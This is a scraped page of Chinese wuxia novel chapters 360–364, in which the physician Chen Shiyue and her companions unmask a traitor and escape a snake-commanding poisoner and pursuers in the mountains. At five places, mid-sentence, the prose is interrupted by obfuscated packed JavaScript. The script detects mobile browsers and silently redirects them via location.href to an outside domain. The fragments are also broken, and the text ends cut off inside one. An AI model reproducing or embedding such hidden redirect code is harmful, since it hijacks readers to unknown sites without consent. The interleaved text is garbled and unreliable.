“好了,捕头也不是成日躺着等你伺候,他就是有点倒霉,不慎挨了一刀差点**,要不然哪儿轮得到咱伺候呢?”迎春笑着打趣,“你就勉为其难的原谅他这一回,等他醒了,咱问他要点银子,算是酬劳,你意下如何?” 冬梅想了想,“姑娘救死扶伤都没收诊金,我怎么好意思收酬劳?” “那不就得了?咱这是跟着姑娘行好事呢!”迎春瞧着昏迷不醒的欧阳恭,“救人一命胜造七级浮屠,咱的功德赚大发了。” 冬梅点点头。 有道理! 山里的夜,温差很大,夜风嗖嗖的吹。 好在后面的岩壁,挡去了大半的夜风,棚子里虽然透风,但也不至于那么冷,升起火堆的时候,便也温暖了不少。 护卫急急忙忙的进来,“那边山头好像有火光,不知道是不是长乐门的人追来了?” 立在树梢观望,还是有好处的。 陈识月忙起身往外走,林序正在与底下人说点什么,见着她出来,忙不迭迎上,“放心,我先弄清楚状况,如果是来找我们的,正好能汇合,但若不是,我们即刻转移。” “好!”陈识月点头,“我让大家等你消息。” 收拾好所有,一旦发现敌情,马上熄火解棚,立刻抬着欧阳恭离开。 然而,过了小半个时辰也没有消息传来。 陈识月有些心急,下意识的握紧了袖中的短刃,不会出什么乱子吧? “姑娘放心。”迎春低语,“不会有事的。” 林序办事素来稳妥,应该无甚大碍。 又过了半个时辰,外头似乎有些乱糟糟的,陈识月赶紧走出了棚子,却是愣在当场,一时间不知道该说点什么? “姑娘,怎么了?”冬梅探出头来。 “没事。” 第三百六十章 每逢虚弱必沉睡 看着被五花大绑,丢在地上的人,陈识月的脸色不太好看,缓步走上前,“这便是了吗?” “嗯!”林序到底的应了一声。 这便是了。 一个叛徒。 藏匿在他们之中,不曾轻易露出马脚,但这一次却是他处处露出破绽,处处的留下痕迹,要不是他死性不改,中了林序设下的圈套,被引了出来,还不知要出怎样的幺蛾子。 也许,全军覆没。 林中的火光,本来就是林序为他设的一个局,抓住他的时候,众兄弟几乎是义愤填膺的冲了上去,恨不能将他食肉寝皮。 因为泄露了行踪,他们好几个弟兄都折在了洞窟里,一想起被熊撕裂的那两个弟兄,所有人都恨得咬牙切齿。 陈识月敛眸,“因为荣华富贵?” “长乐门给了他银子,还给了他一个女人。”林序很失望,连动手的欲望都没了,“万两金,二两肉,什么都忘了!” 兄弟情义,家国大义。 全都抛诸脑后。 “真是可笑。”陈识月摇摇头,“又不是愣头青,竟还是……” 但人心这东西,是经不起测试的。 也许只是片刻的动摇,最后便成了拔不出来的泥潭深陷,塞进口袋里的金银财帛,终究成了压垮人性的重量。 “遥不可及的时候,不会想太多,近在咫尺的时候,才是对人性的考验。”林序蹲下来,揪起了地上的人,“说吧,他们现在在哪?” 追兵,追到哪儿了? “林副将,我……” “少废话!”林序不想听别的,只想听实话。 男人垂下眼帘,“天亮之前,追兵就到。留下女人,其他……格杀勿论。” 两句话,惹得周遭的弟兄又冲上去一顿拳打脚踢。 这还是人吗? 兄弟多年,都是一起共事,不说家国大义,好歹也是为彼此拼过命的,最后竟被出卖?被背刺?何其可笑,实在是太过可恨! 林序没有理睬,只是看向周围,“他是去送信的,所以沿途肯定留下了不少线索。” “欧阳捕头的脉象渐渐平稳,抬着走应该不成问题,就是这山中寒冷,我们怕也没办法整夜在外面跑,到底还是要寻个遮蔽之处。大家都还有伤在身,所以……”陈识月有些犹豫。 避开他们来时路,应该会好一些,但那些人可能就在山下等着,又或者就是在哪个犄角旮旯里待着,不得不防! “走一步算一步!”事到如今,林序也没别的办法了。 出了叛徒,这是谁也不想发生的事情,但既然发生了,总要想办法应对,就是不知道对方现在躲在哪儿。 洞内。 虽然山洞不大,但还算是安全,外头全是青苔,洞口很小,被遮蔽得严严实实,若不仔细看,是绝对发现不了的。 “月大夫怎么了?”林序低声问。 陈识月猛地回过神来,“什么?” “你这一路一直在走神,是担心欧阳捕头?”林序问。 陈识月看了一眼洞口位置,虽然也用枝叶遮蔽,但她莫名的有些心慌,“之前我们来的时候,遇见过一个人,那人善用毒术,可千万不要遇见!” “什么?”林序愕然。 陈识月偏头看他,“你们进来的时候没有遇上?” “没有!”林序摇摇头。 陈识月不说话了。 原本想着,这人和之前那个中蛊的疯子会不会是同一个人?但转念一想,又好像不太对,因为那疯子是闻着味过来的,如果早前就碰到了,肯定会第一时间认出陈识月。 “你们当时……”林序皱眉。 这件事迎春和冬梅都清楚,“又是蝎子又是蜈蚣又是蛇的,当时可了不得,还好有姑娘在,咱才能安然无恙的。” 若是比拼硬功夫,冬梅不信自己会输。 但是毒这东西防不胜防,冬梅还真是没把握! “希望不要碰到。”陈识月看向林序。 林序嘴角直抽抽,“不会这么倒霉吧?” “谁知道呢?”陈识月一拍自己的随身小包,“空了,我是真没办法了!” 要知道,她就带了这么点东西出来,再来……真的是巧妇难为无米之炊。 “休息吧!”林序忙道,“人我都安排好了,若是有异常,会即刻知道。” 心力交瘁,必须休息。 再不休息,铁打的身子也受不住。 陈识月昏昏沉沉的靠在岩壁上睡过去,梦里有些乱七八糟的,也不知道是怎么回事,好像很累很累,模模糊糊的,脑瓜子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075171|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗡嗡的。 很难受! “冬梅?”迎春有点犹豫,“我、我怎么觉得姑娘好像有点不太对劲呢?” 闻言,冬梅赶紧凑上来,“脸色很难看,怎么这么多的汗?别是染了风寒?要不然……做噩梦了吗?这怎么办呢?” 姑娘自己是大夫,可她们……都只是莽夫啊! 这可如何是好? “好像有点温热。”迎春伸手摸了摸陈识月的额头。 冬梅赶紧跑到一旁的小水坑旁,将帕子打湿,然后快速回来,将帕子覆在陈识月的额头,又用迎春的帕子,仔细擦拭着陈识月的脖颈和掌心。 “姑娘之前就是这么教的,不知道现在管不管用?”冬梅有些心焦。 迎春想了想,转身就走,“我去找林公子。” 听闻陈识月病了,林序慌忙从外面进来,瞧着陈识月双目紧闭,身子有些轻微的打颤,不由得心头一紧,这要是出事……少将军不得发疯? “月大夫?”林序急了,“月大夫?” 连唤两声,都叫不醒陈识月,林序这心里头便如同火烧火燎,整个人都暴躁起来。 怎么回事? 之前不还好好的吗? “定是心神损耗太大,所以心力交瘁。”迎春解释,“姑娘一直劳心劳力的,这一路上就一直精神紧绷,此番必定是因为出了洞窟,一下子松懈下来,所以才会如此。” 怕是要好一阵才能缓过来,可是…… 没有大夫,终究不放心。 “这可如何是好?”林序面色凝重,陈识月除了昏睡不醒,倒是没别的症状,“你们看好她,好好照顾,若是今夜无事倒也罢了,若是有事……就先带着她离开。” 冬梅和迎春对视一眼,“放心。” 忽然,外头冷风骤起。 林序猛地站起身来,意识警觉! “我去看看,你们小心。”林序持剑走出了山洞。 原本留在外头看守的二人,竟已消失无踪,外头黑漆漆的,什么都瞧不见,也不知道发生了何事?但空气里,隐隐弥漫着一股难闻的气味,熏得人几欲作呕。 臭的,很腥。 林序握紧手中剑,随时准备出手,“人呢?” 左右不见。 未闻回应。 第三百六十一章 你是最好的药人 林序已经意识到,出大问题了,旋即冷剑出鞘,寒光瑟瑟,不知黑暗中到底藏着多少腌臜。身子往后退了两步,林序横剑身前,挡住了洞口位置,无论如何都不能让人威胁到山洞内的陈识月他们。 忽然间,黑暗中有一道黑影猛地窜出来,直扑林序。 没有任何的犹豫,林序手起剑落,浓郁的腥臭味登时弥漫开来,紧接着什么东西落了地。 林序:“??” 什么动静? 黑暗中,看不清楚状况,但隐约能听清是两声,像是什么东西被他一刀两断,劈成了两截。 脚下,传来了窸窸窣窣的声音。 这声音几乎是成群结队的,让人听得有些头皮发麻,不知道到底是什么东西,但这东西好像正在包围他,像是要将他吞没。 林序不是坐以待毙之人,说是迟那时快,登时纵身而起,跳出了这包围圈,稳稳的落在一旁的树上,却在一回头的那一刻,陡然看见了挂在树枝上的东西。 没有任何的犹豫,一剑下去,便将那条蛇斩成了两截,当下落地而去。 所以,他方才斩杀的…… 是蛇?! 蛇! 迎春和冬梅说的那些话,纷纷浮现在脑海里,林序终于意识到,自己面对的是什么?那个善用毒之人,藏匿在黑暗之中,让人防不胜防。 “藏头露尾,算什么英雄好汉?”林序咬着牙,“有本事就出来!” 林序目光狠戾的环顾四周,浓郁的腥臭味,让人五内翻滚,几欲作呕。 他能看到,山洞内晃动的人影。 应该是冬梅和迎春,察觉到了外面的不对劲,想要冲出来,但是又生生的克制住了,毕竟陈识月还昏睡着,她们还得护着陈识月。 等会? 什么东西滴落在自己的手背上。 抬眸的瞬间,林序骇然瞪大眸子,要不是他反应快,那东西肯定一口就咬住了他。 是蛇! 胳膊粗的蛇,盘踞在树梢,张开嘴便俯冲而来,好在林序已经重新落下树去,其后便是在山洞边上,忽然的脖颈一阵刺痛,他当即抓住了罪魁祸首,狠狠的摔在了石壁上。 是蝎子! 蝎尾针狠狠扎了他一下,事情发生得太快,令人猝不及防。 再抬头,是那两米多长的过山峰,默默的立起了身子,呈居高临下之势,似要将他当成猎物。 林序倒吸一口冷气,握剑的手略有些麻痹感,只能咬紧牙关,快速扫视过周围,想要找寻一切的罪魁祸首,可黑暗中难辨东西,只要对方有心藏起来,他以肉眼委实难寻。 然而,局势比人强。 身子一软,林序已经瘫跪在地。 过山峰忽然就冲了过来…… 林序无力挣扎,当即闭眼。 耳畔“咻”的一声响,伴随着过山峰的“嘶”声响起,冬梅快速将林序搀起,“没事吧?” 林序却虚弱的靠在她身上,“蝎子扎我了。” “该死!”冬梅心急,“迎春,公子**了。” 一听这话,迎春也忍不住了,快速冲出来替冬梅搀住了林序,一扭头,瞧见那哼哧哼哧的过山峰,登时倒吸一口冷气。 “这蛇……怎么这么大?”迎春浑身的鸡皮疙瘩都起来了,“我的老天爷啊!” 冬梅也是头皮发麻,握紧了手中剑,“你说我能把它劈成两半吗?” “据说蛇毒会喷得你满脸都是,蛇毒若是进入眼睛会瞎!”迎春提醒,“要小心,不能大意。” 这话刚说完,另一侧撕拉一声,又立起了另一条过山峰。 迎春:“……” 冬梅:“……” 两条? 这是夫妻档吗? “我们一人一条……”冬梅嗫嚅着,“你有把握掐住那条吗?” 迎春刚要开口,只听得“撕拉”又一声。 两人登时眼珠子都快掉地上了,怎么又来一条? 这是一家三口吗? 三条过山峰,呈三角之势,将二人包围,信子不断的抖动,发出了“嘶嘶嘶”的响声,还真是让人冷汗淋淋,打心里发怵! “完了完了!”迎春倒吸一口冷气,“我没把握。” 冬梅喉间咕咚一下,“这要不是毒蛇,我倒也无所畏惧,可你看看这大脑袋上的翅膀,是剧毒过山峰,我、我……我害怕。” “那惨了,我也怕!”迎春头皮发麻,“我现在腿都在抖,这要怎么弄?” 三条过山峰,胳膊一般粗,若是一起发动进攻,她们两个肯定会被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077184|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咬,剧毒很快就会要了她们的命,这几乎没有任何挣扎的余地。 蛇的速度很快,且这蛇会喷毒…… “应该就三条吧?要不然我们试一试,万一能搏一线生机呢?应该不会还有……”冬梅这话还没说完,又立起一条。 那一瞬,气氛安静得跟**一样。 迎春:“??” 乌鸦嘴啊! 冬梅你个乌鸦嘴! 这下好了,一人两条,这下子更没把握了! 两人连呼吸的节奏都变了,已然是背靠背站立,一只手抓一条,不知道她们的速度能不能拼得过这四条蛇? 林序手脚麻痹,开始意识模糊,嘴角都有涎沫,已然瘫坐在地上,里面的护卫迫不及待的冲了出来,但刚出来就不敢动了,因为他们一动,过山峰就发出了进攻的警告。 不敢动,根本不敢动。 冬梅和迎春被困锁在蛇群之中,稍有不慎,死的就是她们…… 一道黑影,慢慢悠悠的从树后走出来。 瞧着眼前这一幕,他似乎是很满意,蜷缩在黑暗中的鼹鼠,发出了低低的冷笑,“最后的最后,不还是落在了我的手里吗?” “你想怎样?”迎春开口。 男人的目光越过所有人,落在他们身后的山洞中,似乎很确信,能与他抗衡的人就在这里面,“折损了我那么多的好东西,总归要收回点利息。你们这些人,一个都跑不了!全都得做我的药人,还有这些小东西的口中食。” “神经病。”冬梅轻嗤,“你才当这些畜生的口中食。” 男人的手徐徐抬起,这是要发号施令了? 所有人的一颗心,瞬时提到了嗓子眼…… 完了! 然而下一刻,蛇群好似忽然嗅到了危险的气息,登时往后撤去,颇有些不听指挥的意味,惊得众人都僵在原地,一时间不知道该进还是该退? 陈识月缓步走出了山洞,第一时间往林序的嘴里塞了一颗药丸,蹲在那里为林序把脉,继而转头看向黑暗中的男人。 “药人?”陈识月对这两个字极为反感,尤其是自己亲身经历那些事后,更是恨不能将这些,视人命为草芥的祸害除之后快。 黑暗中,男人死死盯着她,“你是最好的药人!” 第三百六十二章 毒物怕她 林序挣扎了一下,是真的想扑上来救人的,就算是自己死,也不能让月大夫有事,可他刚缓过劲来,神志也是因为陈识月这一颗药才稍稍清醒,哪儿有挣扎的余地。 “最好的药人?”陈识月脸色黑沉得厉害,“想要拿我炼药,你还不够资格。就你这些伎俩……呵,也就骗骗不懂岐黄之术的人,若是遇见深谙医术之人,你怕是还得多学两年。” 男人的嗓子里发出了嘶哑的笑声,大概是在嘲笑她的不自量力,“此前试探,不曾展露真功夫,倒是叫你小看了我。小姑娘家家的,口出狂言,对你没好处。” “你都要拿我炼药了,还指望我对你客气?做什么春秋大头梦?”陈识月冷笑两声,“我还能冷静的站在这里,没上前弄死,纯粹是因为我现在只想救人,不想**。” 不得不说,男人对陈识月的确有些赏识,但更多的还是轻视。 一个女子罢了! 瞧着她身量纤纤,说起话来也是温温柔柔的,肉眼可见的没有任何杀伤力,女流之辈而已,说几句大话吓唬人,但委实不必放在心上。 陈识月看着他,静静等着时间一分一秒的过去。 冬梅和迎春有些扛不住了,蛇群后退了一些,但还是围绕在周围,以至于她们二人还站在那里,丝毫不敢动弹,生怕自己一动,会惊了蛇群导致被蛇暗算。 但凡咬上一口,那可都是致命的,黑灯瞎火……没地方找蛇药。 男人重新抬起手,蛇重新立起,发出了刺耳的嘶嘶声,这是即将发动进攻的信号,他就等着杀死这些人,然后拿到最好的药人,炼制自己最新的**,实现自己的梦想。 可是这一次,他好像失算了。 陈识月缓步朝着迎春和冬梅走过去,二人当即就急了。 “姑娘别过来!” “姑娘危险,别过来!” 可陈识月没有听从,而是继续朝前走。 奇怪的是,她越往前,蛇群就越是退后,仿佛她身上有着比剧毒还要可怕的存在,就像是遇见了克星一般,令它们全都瑟瑟发抖。 畏惧,是本能。 陈识月站在了迎春和冬梅的中间,蛇群竟快速退到了男人身侧,显然是寻求庇护。 对陈识月的恐惧,让它们没办法再凶神恶煞。 逃离,是它们即将要做的事情。 这一幕让男人忽然想起来,之前那些事情,想起自己身上的伤,想起被她弄死的毒虫还有毒蛇,他就一条命,大概也经不起折腾了。 留得青山在,不怕没柴烧。 蛇群是最先离去的,因为害怕…… 只听得嗖嗖嗖声响,蛇群竟逃也似的跑了,连带着地上的蝎子蜈蚣,也跟着窸窸窣窣的跑,恨不能离陈识月十万八千里,见着她就跟见了阎王爷一般。 天生万物,相生相克。 “就这样……跑了?”冬梅不敢置信。 迎春没说话,黑暗中略显踌躇的看着陈识月。 姑娘她…… “我这还没出手呢!”冬梅愣了愣。 迎春转头看她,“你想被咬?” “不想!”冬梅连连摇头,“就是觉得胳膊那么粗的蛇,要是烤起来的话,肯定很好吃,这肉一定实得很!” 迎春:“……” 什么时候了,还想着吃呢? “林序?”陈识月慌忙搀起林序,“感觉如何?” 林序已经缓过来,只是身上依旧有些酸疼乏力,其他的都还好。 “没事就好!”陈识月探了探脉象。 还好还好! “这该死的东西,总游走在林子里,实在不是个事,早晚得宰了他才能安生,我怀疑那些被抓入囚室的无辜之人,都是因为他而被擒。”迎春说出自己的推断,“有些江湖人功夫不弱,想跑也不是全无机会,但若是遇见了这杂碎,那就难说了。” 陈识月点点头。 护卫与众人忙不迭将林序送回去,其后重新在山洞外头转了一圈,在一棵树下,找到了两个被蛇咬死的守卫。 尸体被临时埋葬,众人心中都有些沉重,真是恨**这狗东西! 好在还是有一点幸运的,那便是欧阳恭醒了。 外头吵吵嚷嚷的,他幽幽醒转,只是因为伤势太重,所以没能爬起来,只哼哼唧唧的看向外头。 “醒了?”冬梅赶紧上前,“真是福大命大。” 欧阳恭嘴唇干裂,嗓音沙哑,“发生了何事?” “没事。”陈识月不想让他担忧,“外头有些豺狼野狗,已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077185|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被驱逐,现下已经安全,你可以继续休息,其他的事情交给我们便罢。” 迎春用湿帕子,小心的为他润润唇,“这么重的伤,欧阳捕头还是多休息为好。” “是我连累你们了。”欧阳恭叹气,“原是来帮忙的,没想到最后……是我拖了大家后腿。” 陈识月笑了笑,“话不是这么说的,若非大家齐心协力,又如何能逃出来?每个人都尽了力,每个人都是有用,何来拖累之说?” 不过现在,无法在这里久留,得尽快离开,谁知道那厮会不会带着人折返回来? 好在,林序服了药,喝了水,终于活过来了。 “没事了?”陈识月问。 林序点点头,“多谢月大夫,是我一时不察,倒是真的没料到居然还有人,能驱使这些蛇虫鼠蚁?你说这些人是怎么做到的?” “他一身的毒,自小跟毒虫打交道,在某些方面,蛇虫鼠蚁怕他。”陈识月解释,“畏惧就会生出了乖顺之心,算是克星吧!” 林序似懂非懂,“这就是说,其实不是听话,而是因为害怕?时间久了,便不敢违拗他的意思。” “大概是这个意思吧!”陈识月看了一眼外头,“你能走吗?” 林序拍着胸脯,“放心,我可不是手无缚鸡之力的书生,咱身子好着呢!” “那我们现在就走。”陈识月有些耐不住。 她不确定自己是否还有能力,挡住第二次的偷袭?随身小包里的药,即将告罄,她是真的怕了,怕再生意外。 “好!” 众人抬起了担架,快速朝着外头走去。 没有任何的犹豫,所有人都想活着。 也亏得他们走得快,就在他们刚走没多久,便又一群人快速找到了此处,奈何早已人去楼空,气得众人险些砸了这山洞。 “火堆还热着,人肯定没走远,继续追!” “是!” 这毕竟是长乐门的地盘,就算这些人本事最大,还真能插上翅膀飞了? 不信,打死也不信! 林子里,火光摇曳。 前方,是陈识月带着众人,在林中疾奔。 逃出去,是他们如今唯一的信念…… 黑暗中,有寒光乍现! 第三百六十三章 要不,我们试试? 血溅三尺,为这漆黑的夜色,添了几分血腥味。 月黑风高,**夜! 不过如此。 林中火光摇曳,脚步声此起彼伏,一时间竟也不知道究竟是谁在追着谁? 陈识月不敢回头看,现在的他们几乎没有任何的筹码可以抵御风险,唯有不断的奔跑,才能躲避后面的追捕。 长乐门的人各个都是心狠手辣,一旦被他们抓住,必定是一个不留。 蓦地,陈识月顿住脚步。 “姑娘怎么了?快走啊!”冬梅忙道。 陈识月徐徐转身,心跳如擂鼓,“我可能走不了了。” “是那个长虫来了?”跟着陈识月这么久,迎春也算是有些了解,陈识月的行事作风,当即就想到那个棘手的存在。 陈识月没说话,但是言行举止已经说明了一切。 “你们快走!”迎春瞥了林序一眼,“走!” 冬梅默默的站在她们身侧,“我陪着。” “月大夫?”林序疾呼。 陈识月看向他,“能走一个算一个!” 何况,欧阳恭如此模样,留下来只有等死。 可林序怎么可能丢下她不管? “你们马上离开,护着欧阳捕头下山。”林序下令,“走啊!” 三个护卫站了出来,“我们是跟着姑娘一起来的,少将军吩咐,誓死保护姑娘,绝不可能离开。” 林序带来的一波人旋即抬起了担架,每个人都有自己的使命,都有他们该做的事情,尤其是在这关键的时候。 “你们马上走!”林序握紧手中剑,“我与月大夫……共进退!” “是!” 欧阳恭倒是想挣扎,奈何自己这状况,这条命都是捡回来的,去与留已经容不得他自己选择,只能躺在担架上,看着众人渐渐消失在自己的视线里。 山中冷风呼啸,不见鸟语虫鸣。 那一刻,诡异的气氛让所有人都说不出话来。 每个人的脸上,都浮现出异常的惊惶,不知道什么地方,会忽然窜出个东西来,惹得所有人都精神紧绷,背对背站着,死死盯着周遭。 会在哪儿呢? “出来!”陈识月低喝。 有身影从树后走出,但依旧站在树下位置,阴暗之下是更多的阴暗,他就静静的站在那里,“长阴,出来!” 音落,巨大的**蛇忽然从树上倒挂而下,惊得所有人倒吸一口冷气。 陈识月初初一怔,其后便强压着内心深处的惊惧,“放所有人离开,我与你一对一,谁赢了……命就归谁,如何?” “我也不喜欢有那么多人在场。”男人站在那里不动,“让他们自己离开。” 迎春可没打算走,“姑娘,我不走。” “我也不走!”冬梅梗着脖子。 林序冷剑在手,“先过我这一关。” 三人呈三角之势,将陈识月藏在身后,那架势自然是生人勿近,不允许男人靠近分毫。 “不管你是谁,少在这里装神弄鬼的,我们不吃你这一套。”林序眯起危险的眸子,“要么滚远点,要么来一场男人之间的决战。欺负弱女子,算什么男人?” 这话,似乎是戳中男人的心头,“弱女子?你觉得她是弱女子?” 但“男人之间的决战”还是很有必要的,毕竟谁也不想被人嘲讽,说你不是个男人,这是莫大的羞辱,男人的耻辱。 “不许碰月大夫。”林序冷剑横在身前,目光冰冷。 少将军不在,他就得拼了命的,护住少将军的心上人,说不准以后就是少夫人呢! “你可以试试!”男人忽然身形一晃,宛若鬼魅般近至跟前。 速度很快,快如闪电。 这功夫很邪门,连迎春和冬梅都看傻了。 怎么会那么快? 好在,林序的反应也快,在对方袭来的那一刻,反手便是一剑,但被对方快速避开,紧接着便消失在林序的眼前。 那一刻别说是林序,便是会功夫的迎春和冬梅,也是傻眼了。 迎春的轻功是最好的,饶是如此,见着如此快的身手,也是暗暗吃了一惊,以自己没有受伤前的身手,尚能搏一把,但是现在……她心里没底。 冬梅就更别说了,她的硬功夫了得,但轻功的确寻常,这会下意识的退到了陈识月的身侧,若是有什么意外,她会第一时间扛着姑娘就跑。 迎春会意,也跟着退到了陈识月的身侧,以防这黑衣人突然袭击。 保护姑娘,是她们的使命所在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087791|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陈识月也没闲着,林序的剑都刺不到那人,那自己的**肯定也不管用,但……银针可以,防不胜防的暗器,寒芒掩于指尖,一旦靠近便可直中要害。 林序还真没想到,对方的功夫这般诡异,自己一番动作下来,竟触碰不到他的一片衣角,宛若鬼魅临世,实在是阴邪至极。 “好邪门的功夫!”林序咬着牙。 黑衣男子静悄悄的退回树下,巨**已经抬起了头,一人一蛇就这么静静的伫立在黑暗中,“邪门?这两个字是在夸我吗?” 莫名的,陈识月觉得他在看她。 甚至于他从一开始,从始至终,一直以来,目的只是她! 陈识月伸手抚上了心口的位置,打不过只能用点特殊的手段了,要不然的话,大家都得折在这里,是以只能她自己出手了。 但一想起来,自己之前昏睡不醒的状态,心里便有种莫名的担忧。 只是…… “你最好别再动你的小聪明。”男人忽然开口。 这话,几乎是直接冲着陈识月去的。 林序心下一惊,“月大夫?” “你不会用……就别动!”男人收了手,没有再跟林序纠缠,“你很清楚,每次动用母蛊来控制我与长阴的时候,你都会受到反噬,心脉受损,昏睡不醒。” 这话一出,迎春和冬梅急了,当即一左一右扣住了陈识月的手,“姑娘不要轻举妄动,一切交给我们便好,身子要紧,身子要紧!” 陈识月:“……” 没那么严重,他不过是在蛊惑人罢了! 自己的身子,自己心里清楚。 但其他人不懂,哪怕是谎言也怕她有所损伤,因为他有一点说对了,陈识月这两次,真的会陷入昏睡之中,叫都叫不醒,身上甚至于会起热。 迎春和冬梅不懂岐黄之术,但知道她的确有次症状,哪儿还敢让她冒险? “你们莫要听他胡言乱语,他只是担心他自己被我所控,所以才会虚张声势,骗你们罢了!”陈识月急忙解释,“我不打紧的。” 男人不说话,巨**慢慢的落地,盘踞在男人的身后,竟不敢靠近半分。 “要么立刻离开,要么……”陈识月抽出手,“试试看,你我谁赢?” 第三百六十四章 完了,出不去了 血溅三尺,痛苦挣扎。 男人躺在地上,嗓子里发出“咕咚”、“咕咚”的声响,一双手死死捂住了脖颈,愣是吐不出半句话来,视线却直勾勾的盯着黑暗中的身影。 不瞬,浓烈的血腥味在四下蔓延开来。 不只是血腥味,还有腥臭味。 剥皮拆骨的腥臭味,从最初的嘶嘶声,变成了血液滴落在地的“滴答”、“滴答”声音,最后一切归于寂静。 远处,依旧火光冲天。 长乐门的那些人还在追着陈识月,漫山遍野的找人。 这样的场面,让陈识月想起了很多年前的自己,那时候也是漫山遍野的官兵,搜寻着国公府一案的出逃钦犯。 那时候的自己,慌乱无措,无法言说的绝望,但是现在身边那么多人,她好似忽然就克服了自己内心深处的惊惧,心理阴影逐渐消弭殆尽。 有迎春,有冬梅,有林序,有护卫…… 她不再是孤家寡人,不再是一人狂奔,漫无目的的往前跑,所有人都在跟着她,保护她,对她深信不疑,内心深处的恐慌与不安,终于彻底不再是噩梦。 “在那边!” “快,快追!” 林序止步,“你们朝前跑,我去引开他们。” 再往前,万一撞上了欧阳恭他们,那该如何是好?总要为大家争取时间,能跑出去一个算一个,不能全部折在这里吧! “让我去吧!”冬梅忙道。 林序摆摆手,“你们保护好月大夫,其他的交给我。” “小心!”陈识月没多说。 林序掉头就往回跑。 “姑娘?”冬梅有些担心。 陈识月知道林序在想什么,她也正有此意,“我们得为欧阳捕头腾出点时间来,林序往回跑,我们就往另一侧跑,走!” “是!” “是!” 冬梅和迎春没有任何的犹豫,旋即跟在了陈识月的身后,撒丫子就跑,反正都到了这地步,还能怎样呢?最坏的结果也就那样了! 一下子分散开来,所有人都在跑,满山里的跑。 林序的突然折返,突然大开杀戒,让长乐门的人有些慌,回过神来便是反扑,但林序没有恋战,当即朝着一侧跑去。 把人引开,才是他的目的。 “追!” “杀了他!” 一行人紧随其后,耳畔偶有箭矢嗖嗖掠过,挡不住林序飞奔的脚步。 只不过,跑着跑着,身后的动静却渐渐消失了。 林序心头纳闷,不会吧不会吧,这么废物吗?他也没跑太快,怎么后面的人就追不上了呢?还是说,又在憋什么大招? 不行! 他本来的目的就是把人引开,这人要是不跟着他跑,怎么能算是引开呢? 周遭,林木森森。 黑漆漆的。 伸手不见五指,头顶连一丝光亮都落不下来,月光星光悉数消失无踪。 林序停下来,打算往回走,顺道把人重新引回来,可诡异的事情发生了,走了这么一圈之后,他发现自己似乎是……迷路了? 这天杀的! 怎么会迷路呢? 坏了,那些人该不会去追月大夫他们了吧? 完了完了…… 的确,这会大批的火光都冲着陈识月他们去了,这荒山野岭,大家都不认识路,只能蒙着眼乱跑,前面有一块碑,但这会谁还顾得上呢? 管他上面写了什么,跑了再说…… 光影缭乱,剑锋凌厉。 身长如玉的男子,立在黑暗中,手中冷剑锋芒毕露,瞧着由远及近的火光,任由斗笠遮去了半张脸,瞧不出任何的情绪。 “什么人?” “你是何人?” “管他是什么人,敢出现在这山里,照杀不误!” “宰了他!” 不管是谁,只要擅自闯入山中,不是被抓去囚室,就该死在山中,反正结果都一样,早死晚死都是个死! 男人也不说话,寒锋乍现,刀光剑影。 不过是眨眼间的功夫,鲜血满地,周遭已不见活口。 结果都一样,那凭什么要无辜者枉死? “该死的是你们!”男人剑花轻抖,血色沿着剑尖一点一滴的落地,剑身被甩得干干净净,只听得咣当一声响,便已经冷剑归鞘。 捡起地上的火把,男人转身朝着石碑走去,却在下一刻握紧了手中的火把。 不归林? 不归林! 坏了! 这可不是什么好地方。 周遭漆黑一片,到处都是荆棘,陈识月眉心微蹙,“怎么觉得这里有点怪怪的?” “那些人怎么不追了?”迎春也觉得有些奇怪。 冬梅一掌劈断了旁逸斜出的枝丫,拨开了挡路的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 